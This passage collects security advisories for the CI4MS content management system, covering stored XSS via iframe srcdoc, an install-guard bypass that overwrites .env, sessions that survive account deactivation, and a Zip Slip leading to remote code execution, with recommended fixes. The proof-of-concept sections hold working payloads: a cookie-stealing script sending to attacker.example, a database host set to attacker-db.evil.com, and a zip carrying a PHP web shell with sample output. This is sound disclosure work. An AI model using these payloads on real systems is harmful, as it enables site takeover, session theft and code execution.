The three regex patterns only match attributes beginning with `on` (e.g., `onclick`, `onerror`). The `srcdoc` attribute does not begin with `on` and passes through untouched.

**Output rendering** (`app/Views/templates/default/gmapiframe.php:3`):

```php
<?php echo strip_tags($settings->map_iframe,'<iframe>') ?>
```

The output applies `strip_tags` with the same `<iframe>` allowlist but performs no attribute filtering or HTML encoding. The stored payload is rendered verbatim.

**Why HTML entities bypass `strip_tags`**: A payload like `<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;">` contains only one tag (`<iframe>`), which is in the allowlist. The entity-encoded content (`&lt;script&gt;`) is not recognized as a tag by `strip_tags`. However, when the browser renders the `srcdoc` attribute, it decodes the HTML entities and creates a new browsing context containing `<script>alert(1)</script>`.

**Why this is same-origin**: Per the HTML specification, an `<iframe srcdoc="...">` without a `sandbox` attribute inherits the parent document's origin. The injected script has full access to the parent page's cookies, DOM, and session.

## PoC

**Prerequisites**: Authenticated admin session with `update` role on the Settings module.

**Step 1: Inject the payload**

```bash
curl -X POST 'https://target/backend/settings/compInfos' \
  -H 'Cookie: ci_session=ADMIN_SESSION_ID' \
  -d 'cName=TestCo&cAddress=123+Main+St&cPhone=1234567890&cMail=admin@example.com&cMap=%3Ciframe+srcdoc%3D%22%26lt%3Bscript%26gt%3Balert(document.domain)%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E'
```

The `cMap` value decodes to:
```html
<iframe srcdoc="&lt;script&gt;alert(document.domain)&lt;/script&gt;"></iframe>
```

**Step 2: Visit any public page that includes the Google Maps widget**

Navigate to the frontend contact or footer page as an unauthenticated visitor. The browser renders the `srcdoc` iframe, decodes the entities, and executes the script in the parent page's origin.

**Expected result**: JavaScript `alert(document.domain)` fires showing the target's domain, confirming same-origin execution.

**Cookie theft variant**:
```
<iframe srcdoc="&lt;script&gt;document.location='https://attacker.example/steal?c='+document.cookie&lt;/script&gt;"></iframe>
```

## Impact

- **Stored XSS affecting all frontend visitors**: The payload persists in the settings database and executes for every unauthenticated visitor viewing pages that include the Google Maps iframe widget.
- **Session hijacking**: The script executes in the parent page's origin, giving access to session cookies (unless HttpOnly is set) and the full DOM.
- **Credential theft**: An attacker can inject a fake login form or redirect users to a phishing page.
- **Scope change**: The attack crosses from the admin backend trust boundary to the public frontend, affecting users who have no relationship with the backend.

The attack requires a compromised or malicious admin account with settings update permission. While this is a privileged starting point (PR:H), the impact crosses to all unauthenticated visitors (S:C), justifying Medium severity.

## Recommended Fix

Replace the regex-based attribute blocklist with a strict allowlist approach. Only allow `src`, `width`, `height`, `frameborder`, `style`, `allowfullscreen`, and `loading` attributes on iframe tags:

```php
// In modules/Settings/Controllers/Settings.php, replace lines 49-52:
$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));
// Strip all attributes except safe ones for iframes
$mapValue = preg_replace_callback(
    '/<iframe\s+([^>]*)>/i',
    function ($matches) {
        $allowedAttrs = ['src', 'width', 'height', 'frameborder', 'style', 'allowfullscreen', 'loading', 'title'];
        preg_match_all('/(\w+)\s*=\s*(?:"([^"]*)"|\'([^\']*)\'|(\S+))/i', $matches[1], $attrs, PREG_SET_ORDER);
        $safe = '';
        foreach ($attrs as $attr) {
            $name = strtolower($attr[1]);
            $value = $attr[2] ?: $attr[3] ?: $attr[4];
            if (in_array($name, $allowedAttrs, true)) {
                // For src, only allow https URLs (block javascript: etc.)
                if ($name === 'src' && !preg_match('#^https://#i', $value)) {
                    continue;
                }
                $safe .= ' ' . $name . '="' . esc($value) . '"';
            }
        }
        return '<iframe' . $safe . '>';
    },
    $mapValue
);
```

This allowlist approach ensures that dangerous attributes like `srcdoc`, `src` with `javascript:` protocol, and any future dangerous attributes are blocked by default.

CI4MS Vulnerable to Post-Installation Re-entry via Cache-Dependent Install Guard Bypass
## Summary

The install route guard in ci4ms relies solely on a volatile cache check (`cache('settings')`) combined with `.env` file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the `.env` file with attacker-controlled database credentials, achieving full application takeover.

## Details

The `InstallFilter::before()` method at `modules/Install/Filters/InstallFilter.php:13` implements the install guard:

```php
public function before(RequestInterface $request, $arguments = null)
{
    if (file_exists(ROOTPATH . '.env') && !empty(cache('settings'))) return show_404();
}
```

This requires **both** conditions — `.env` existence AND non-empty cache — to block access. The cache population happens in `app/Config/Filters.php:128-151` during the Filters constructor, which runs before route-specific filters:

```php
public function __construct()
{
    parent::__construct();
    if (is_file(ROOTPATH . '.env')) {
        try {
            $this->commonModel = new CommonModel();
            if (empty(cache('settings')) && $this->commonModel->db->tableExists('settings')) {
                $this->settings = $this->commonModel->lists('settings');
                // ... populate cache ...
                cache()->save('settings', $set, 86400); // 24h TTL
            }
        } catch (\Throwable $e) {
            $this->settings = (object)[]; // Silently swallow ALL exceptions
        }
    }
```

When the database is unreachable (connection failure, timeout, maintenance), the `\Throwable` catch at line 148-150 silently swallows the exception. The cache remains empty, and `InstallFilter::before()` sees `empty(cache('settings'))` as true, allowing the request through.

The install controller at `modules/Install/Controllers/Install.php:10-87` then processes the POST:

1. The `host` parameter at line 35 is **not present in the validation rules** (`$valData`, lines 13-27) — it is written directly from `$this->request->getPost('host')` to `.env` with zero validation
2. `copyEnvFile()` (line 70) overwrites the existing `.env` by copying from the `env` template
3. `updateEnvSettings()` (line 70) writes attacker-controlled values including database hostname
4. No database connection is needed — the `index()` action only performs filesystem operations

Additionally, CSRF protection is explicitly disabled for all install routes in `modules/Install/Config/InstallConfig.php:7-10`:

```php
public $csrfExcept = [
    'install',
    'install/*'
];
```

The cache has a 24-hour TTL (`Filters.php:143`), and `cache()->delete('settings')` is called in 14+ locations across admin controllers (Settings, Blog, Backup, AJAX, Pages), creating recurring windows where the cache is empty and must be repopulated from the database.

## PoC

**Prerequisites:** The target database must be temporarily unreachable (maintenance window, connection exhaustion, network partition) at a moment when the `settings` cache has expired or been cleared.

```bash
# Step 1: Verify the install route is accessible (DB outage + cache miss)
curl -s -o /dev/null -w "%{http_code}" http://target/install
# Expected: 200 (instead of 404)

# Step 2: Overwrite .env with attacker-controlled database credentials
curl -X POST http://target/install \
  -d 'baseUrl=http://target/' \
  -d 'host=attacker-db.evil.com' \
  -d 'dbname=ci4ms' \
  -d 'dbusername=root' \
  -d 'dbpassword=pass' \
  -d 'dbdriver=MySQLi' \
  -d 'dbpre=' \
  -d 'dbport=3306' \
  -d 'name=Admin' \
  -d 'surname=Evil' \
  -d 'username=admin' \
  -d 'password=Evil1234!' \
  -d 'email=evil@attacker.com' \
  -d 'siteName=Pwned'
# No CSRF token required (CSRF exempt for install routes)
# .env is now overwritten with attacker's DB hostname

# Step 3: Follow redirect to /install/dbsetup
# This runs migrations on the attacker-controlled database and creates an admin account
# The application now connects to attacker's database = full takeover
```

## Impact

When exploited during a database outage coinciding with cache expiry:

- **Full application takeover**: The `.env` file is overwritten with attacker-controlled database credentials, redirecting all application database queries to an attacker-controlled server
- **Credential theft**: All subsequent user logins, form submissions, and API calls send data to the attacker's database
- **Data integrity loss**: The attacker controls what data the application reads from the database, enabling arbitrary content injection, phishing, and privilege escalation
- **Encryption key reset**: `generateEncryptionKey()` is called (line 70), invalidating all existing encrypted data and sessions

The attack requires no authentication, no CSRF token, and no user interaction. The exploitability window recurs every 24 hours at cache TTL expiry and after any admin action that clears the settings cache, but is only exploitable when the database is simultaneously unreachable.

## Recommended Fix

Replace the volatile cache-based install guard with a persistent filesystem lock:

```php
// modules/Install/Filters/InstallFilter.php
class InstallFilter implements FilterInterface
{
    public function before(RequestInterface $request, $arguments = null)
    {
        // Use a persistent filesystem lock instead of volatile cache
        if (file_exists(WRITEPATH . 'installed.lock')) {
            return show_404();
        }
    }
}
```

Create the lock file at the end of successful installation in `Install::dbsetup()`:

```php
// At the end of dbsetup(), after successful migration and setup:
file_put_contents(WRITEPATH . 'installed.lock', date('Y-m-d H:i:s'));
```

Additionally, add validation for the `host` parameter in `Install::index()`:

```php
$valData['host'] = [
    'label' => lang('Install.databaseHost'),
    'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'
];
```

CI4MS: Account Deactivation Module Grants Full Persistent Unauthorized Access for All‑Roles via Improper Session Invalidation (Logic Flaw)
## Summary
### Vulnerability: Improper Session Invalidation on Account Deactivation (Broken Access Control / Logic Flaw)
- This vulnerability is caused by a backend logic flaw that maintains a false trust assumption that already-authenticated users remain trustworthy, even after their accounts are explicitly deactivated. As a result, administrative security actions do not behave as intended, allowing persistent unauthorized access.

### Description
The application fails to immediately revoke active user sessions when an account is deactivated. Due to a logic flaw in the backend design, account state changes are enforced only during authentication (login), not for already-established sessions.

The system implicitly assumes that authenticated users remain trusted for the lifetime of their session. There is no session expiration or account expiration mechanism in place, causing deactivated accounts to retain indefinite access until the user manually logs out. This behavior breaks the intended access control policy and results in persistent unauthorized access, representing a critical security flaw.

### Affected Functionality
- User session management and authentication logic
- Account deactivation mechanism
- All authenticated endpoints, including administrative and content interfaces

### Attack Scenario
- A user logs into the application.
- An administrator deactivates the user account.
- The user remains fully logged in and can continue performing all actions allowed by their role indefinitely, as there is no session expiration.
- The user can continue invoking backend methods, triggering application actions, accessing sensitive interfaces (including user management if permitted), and interacting with the system as if the account were still active.
- Access is only lost if the user manually logs out, which may never occur.

### Impact
- Unauthorized Continued Access: Deactivated users retain full access indefinitely, violating intended access control and expected security behavior.
- Bypass of Administrative Controls: Administrative actions (deactivation) fail to immediately restrict active sessions.
- Logic Flaw Resulting in Broken Behavior: Backend authorization logic relies on a flawed trust assumption that authenticated users remain valid, enforcing account state only at login.
- Full Functional Access Retained: Deactivated users can continue invoking application methods, executing actions, interacting with protected endpoints, and using the system exactly as before being deactivated.
- Privilege Abuse: Users with elevated roles (moderator, editor, administrator) can continue performing privileged actions after account deactivation, including accessing user management interfaces and modifying application state.
- Service Disruption Potential: Persistent access allows attackers to disrupt services, manipulate content, or interfere with normal application operations.
- Attack Persistence: Attackers can maintain access indefinitely, increasing the risk of data exfiltration, unauthorized modifications, or further privilege escalation.
- False Sense of Remediation: Administrators may believe a threat has been mitigated while the deactivated user remains active within the system.

Endpoint Example: Any endpoint accessible to authenticated users, including dashboards, administrative interfaces, user management pages, and API endpoints.

## Steps To Reproduce (PoC)
1. Create or use an existing user account.
2. Log into the application using this account.
3. From an administrative account, deactivate the logged-in user account.
4. Observe that the target user remains authenticated.
5. Verify that the user can still access protected functionality, invoke actions, and interact with the application as before.
6. Confirm that the user only loses access after manually logging out (if they choose to do so).

## Remediation
- Immediately invalidate all active sessions when an account is deactivated.
- Enforce account status checks on every authenticated request, not only during login.
- Introduce proper session expiration or account expiration mechanisms to prevent indefinite access.
- Correct the backend logic flaw to ensure access control behavior aligns with intended security design and does not rely on unsafe trust assumptions.

# Ready Video POC:
https://mega.nz/file/zJkhwCII#G1-TecKmNBJmEeBS0ExsAY_RXEmAl3QqMqu4t5oy844

CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE
### Summary
ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

### Details
modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to `WRITEPATH . 'uploads/'`, and if the extension is `zip`, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:

```php
public function restore()
{
    $valData = ([
        'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('backup_file');

    if ($file && $file->isValid() && ! $file->hasMoved()) {
        $newName    = $file->getRandomName();
        $uploadPath = WRITEPATH . 'uploads/';
        ...
        $filePath = WRITEPATH . 'uploads/' . $newName;
        $sqlPath  = $filePath;
        if ($ext === 'zip') {
            $zip = new \ZipArchive();
            if ($zip->open($filePath) === true) {
                $zip->extractTo($uploadPath);          // no entry-name validation
                $sqlPath = $uploadPath . $zip->getNameIndex(0);
                $zip->close();
                @unlink($filePath);
            }
        }
        ...
    }
}
```

A ZIP containing entries like `../../public/shell.php` is extracted outside `writable/uploads/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Backup/Config/Routes.php binds `POST backend/backup/restore` to Backup::restore with `role=create`, and modules/Backup/Config/BackupConfig.php adds `backend/backup` and `backend/backup/*` to `csrfExcept`, so the route accepts cross-site POSTs from an authenticated administrator's browser.

### PoC
Build the archive:

```python
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('dump.sql', 'SELECT 1;')
"
```

Submit it as a backup to restore:

```bash
curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'backup_file=@evil.zip' \
  https://target.example.com/backend/backup/restore
```

Trigger the shell:

```bash
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### Impact
Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.